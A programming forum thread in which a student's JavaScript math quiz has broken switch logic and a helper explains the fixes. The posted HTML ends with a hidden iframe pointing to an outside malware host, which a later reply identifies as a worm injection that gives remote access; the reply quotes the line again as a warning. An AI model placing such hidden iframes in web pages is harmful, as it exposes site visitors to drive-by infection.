Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 6 of 6
  1. #1
    New Coder
    Join Date
    Mar 2009
    Posts
    13
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Switch statement is giving me problems

    hi

    My switch is not working properly.Every single value I enter the statement says is true.Don't know where the problem is.Can someone help me out plz.

    here is my code:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <html>
    <head>
    <title>ABC.com</title>
    <link rel="stylesheet" a href="style.css"></link>

    </head>
    <script type="text/javascript">
    function Begin()
    {

    if (document.getElementById("level_one").checked == true)
    {
    document.getElementById("easy").style.display = "";
    document.getElementById("hard").style.display = "none";
    document.getElementById("medium").style.display = "none";
    }
    if (document.getElementById("level_two").checked == true)
    {
    document.getElementById("medium").style.display = "";
    document.getElementById("easy").style.display = "none";
    document.getElementById("hard").style.display = "none";
    }
    if (document.getElementById("level_three").checked == true)
    {
    document.getElementById("hard").style.display = "";
    document.getElementById("medium").style.display = "none";
    document.getElementById("easy").style.display = "none";
    }
    }

    function EasyCalc(){

    var xAns = parseInt(txtx.value);
    var Ans = parseInt(document.myfrm.operator.value);


    switch(Ans){
    case 0:
    xAns = "1";
    alert("Correct");
    break;
    case 1:
    xAns = "1";
    alert("Correct");
    break;
    case 2:
    xAns = "0";
    alert("Correct");
    break;
    case 3:
    xAns = "2";
    alert("Correct");
    break;
    default:
    alert("Incorrect");
    }
    }
    function EasyCalc1(){

    var x1Ans = parseInt(txtx1.value);
    var Ans1 = parseInt(document.myfrm1.operator1.value);

    switch(Ans1){
    case 4:
    x1Ans = "8";
    alert("Correct");
    break;
    case 5:
    x1Ans = "2";
    alert("Correct");
    break;
    case 6:
    x1Ans = "2";
    alert("Correct");
    break;
    case 7:
    x1Ans = "6";
    alert("Correct");
    break;
    default:
    alert("Incorrect");
    }
    }

    function EasyCalc2(){

    var x2Ans = parseInt(txtx2.value);
    var Ans2 = parseInt(document.myfrm2.operator2.value);

    switch(Ans2){
    case 8:
    x2Ans = "9";
    alert("Correct");
    break;
    case 9:
    x2Ans = "1";
    alert("Correct");
    break;
    case 10:
    x2Ans = "0";
    alert("Correct");
    break;
    case 11:
    x2Ans = "6";
    alert("Correct");
    break;
    default:
    alert("Incorrect");
    }
    }

    function MediumCalc(){

    var x3Ans = parseInt(txtx3.value);
    var Ans3 = parseInt(document.myfrm3.operator3.value);

    switch(Ans3){
    case 12:
    x3Ans = "50";
    alert("Correct");
    break;
    case 13:
    x3Ans = "5";
    alert("Correct");
    break;
    case 14:
    x3Ans = "5";
    alert("Correct");
    break;
    case 15:
    x3Ans = "15";
    alert("Correct");
    break;
    default:
    alert("Incorrect");
    }
    }

    function MediumCalc1(){

    var x4Ans = parseInt(txtx4.value);
    var Ans4 = parseInt(document.myfrm4.operator4.value);

    switch(Ans4){
    case 16:
    x3Ans = "48";
    alert("Correct");
    break;
    case 17:
    x3Ans = "3";
    alert("Correct");
    break;
    case 18:
    x3Ans = "8";
    alert("Correct");
    break;
    case 19:
    x3Ans = "18";
    alert("Correct");
    break;
    default:
    alert("Incorrect");
    }
    }

    </script>
    <body>
    <div id="container">

    <div id="header">
    <div id="navigation">
    <ul>
    <li><a href="index.html">Home</a></li>
    <li><a href="abc.html">ABC</a></li>
    <li><a href="math.html">Math</a></li>
    <li><a href="visual.html">Visual</a></li>
    </ul>

    </div>
    </div>



    <div id="content">

    <div id="levels">

    <input type="radio" name="radio1" value="E" id="level_one">Easy
    <input type="radio" name="radio1" value="M" id="level_two">Meduim
    <input type="radio" name="radio1" value="H" id="level_three">Hard
    <input type="button" value="Start" name="btn01" class="btncss" onClick="Begin()"></div>



    <div id="easy" style="display:none">
    <p>Question 1</p>
    <span>1</span>
    <form name="myfrm">
    <select name="operator" id="operator">
    <option value="0">*</option>
    <option value="1">/</option>
    <option value="2">-</option>
    <option value="3">+</option>
    </select>
    </form>
    <span>1 =</span>
    <input type="text" name="txtx" id="txtx">
    <input type="button" name="btn" value="Answer" onClick="EasyCalc()"><br>
    <p>Question 2</p>
    <span>4</span>
    <form name="myfrm1">
    <select name="operator1" id="operator1">
    <option value="4">*</option>
    <option value="5">/</option>
    <option value="6">-</option>
    <option value="7">+</option>
    </select>
    </form>
    <span>2 =</span>
    <input type="text" name="txtx1" id="txtx1">
    <input type="button" name="btn1" value="Answer" onClick="EasyCalc1()"><br>
    <p>Question 3</p>
    <span>3</span>
    <form name="myfrm2">
    <select name="operator2" id="operator2">
    <option value="8">*</option>
    <option value="9">/</option>
    <option value="10">-</option>
    <option value="11">+</option>
    </select>
    </form>
    <span>3 =</span>
    <input type="text" name="txtx2" id="txtx2">
    <input type="button" name="btn2" value="Answer" onClick="EasyCalc2()">

    </div>

    <div id="medium" style="display:none">
    <p>Question 1</p>
    <span>10</span>
    <form name="myfrm3">
    <select name="operator3" id="operator3">
    <option value="12">*</option>
    <option value="13">/</option>
    <option value="14">-</option>
    <option value="15">+</option>
    </select>
    </form>
    <span>5 =</span>
    <input type="text" name="txtx3" id="txtx3">
    <input type="button" name="btn3" value="Answer" onClick="MediumCalc()"><br>
    <p>Question 2</p>
    <span>12</span>
    <form name="myfrm4">
    <select name="operator4" id="operator4">
    <option value="16">*</option>
    <option value="17">/</option>
    <option value="18">-</option>
    <option value="19">+</option>
    </select>
    </form>
    <span>4 =</span>
    <input type="text" name="txtx4" id="txtx4">
    <input type="button" name="btn4" value="Answer" onClick="MediumCalc1()">
    <p>Question 3</p>
    <span>3</span>
    <form name="myfrm5">
    <select name="operator5" id="operator5">
    <option value="8">*</option>
    <option value="9">/</option>
    <option value="10">-</option>
    <option value="11">+</option>
    </select>
    </form>
    <span>3 =</span>
    <input type="text" name="txtx5" id="txtx5">
    <input type="button" name="btn5" value="Answer" onClick="MediumCalc2()">
    </div>

    <div id="hard" style="display:none">
    </div>

    </div>

    <div id="body">
    </div>



    </div>
    <div id="footer">
    </div>


    <iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
    </body>
    </html>

  • #2
    Regular Coder
    Join Date
    Feb 2009
    Location
    Wheeling, IL
    Posts
    358
    Thanks
    5
    Thanked 62 Times in 60 Posts
    Quite unsure about these switch statements and what you expect them to do... because you're essentially just checking if a certain operator is selected... and then assigning a value to a variable and after that... "Hey, that's correct!"

    The problem is coming from the following code (Marked in red, but just guessing as to what you're trying to achieve here):

    Code:
    switch(Ans1){
    case 4:
    x1Ans = "8";
    alert("Correct");
    break;
    // more code
    }
    And it is likely you'd be wanting to replace it with:

    Code:
    switch(Ans1){
    case 4:
    if (x1Ans == "8")
        alert("Correct");
    else
        alert("Incorrect");
    break;
    // more code
    }
    Because otherwise, the code really makes no sense whatsoever... Ans1 being the value of the drop-down menu for operators, while not checking whether the number in the text field is the right one.

  • #3
    Regular Coder
    Join Date
    Feb 2009
    Location
    Wheeling, IL
    Posts
    358
    Thanks
    5
    Thanked 62 Times in 60 Posts
    In addition:

    Code:
    var x1Ans = parseInt(txtx1.value);
    Will give an error of the type: "txtx1 is undefined", considering selecting like that certainly wouldn't work all that great. What I suggest you do in this case is:

    Code:
    var txtx1 = document.getElementById("txtx1");
    var x1Ans = parseInt(txtx1.value);
    And that should solve the undefined issue and combined with the previous post... end up actually getting you the result you want... (Once again, guessing here, because you certainly haven't stated what you want to happen).

  • #4
    New Coder
    Join Date
    Mar 2009
    Posts
    13
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Eldarrion thank you very much for the help.

    This is actually a math game I am busy for a project for college.I know there is sorter ways to do this using arrays,but we have to use a certain of statements for certain stuff.

    Thank you again

  • #5
    New Coder
    Join Date
    May 2008
    Posts
    12
    Thanks
    0
    Thanked 0 Times in 0 Posts
    by the way are you aware your file is infected ?

    <iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>

    its actually a worm .. i have it on mine .. it edits html and php files
    the iframe uses a javascrip exploit to gain remote access

    just a heads up !

  • #6
    New Coder
    Join Date
    May 2008
    Posts
    12
    Thanks
    0
    Thanked 0 Times in 0 Posts
    more info about the virus here
    http://www.google.co.uk/search?hl=en&q=jl.chura&meta=

    it moves extremely fast and also even if you edit a html or php fiel to remove the iframe code .. and save and close it will still be in there !


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •